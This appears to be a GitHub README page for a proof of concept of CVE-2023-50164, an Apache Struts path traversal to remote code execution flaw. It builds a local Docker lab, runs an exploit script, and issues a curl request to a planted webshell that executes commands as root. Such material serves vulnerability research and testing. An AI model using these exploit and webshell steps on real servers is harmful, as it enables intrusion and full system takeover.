sunnyvale-it / CVE-2023-50164-PoC

CVE-2023-50164 (Apache Struts path traversal to RCE vulnerability) - Proof of Concept

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

CVE-2023-50164 (Apache Struts path traversal to RCE vulnerability) - Proof of Concept

This PoC has been made to test an RCE (Remote Code Execution) by exploiting the Apache Struts2 vulnerability.

Build the image and run a container:

$ DOCKER_BUILDKIT=1 docker build  . -t struts2-rce-poc && docker run --rm -p 8080:8080 struts2-rce-poc

Run the exploit:

$ cd exploit
$ ./exploit.sh

Now you can executy arbitrary commands on server side as showed:

$ curl http://localhost:8080/webshell/webshell.jsp\?cmd\=id%20-a  

uid=0(root) gid=0(root) groups=0(root)

Credits

About

CVE-2023-50164 (Apache Struts path traversal to RCE vulnerability) - Proof of Concept


Languages

Language:Java 86.0%Language:Dockerfile 7.3%Language:HTML 4.0%Language:Shell 2.8%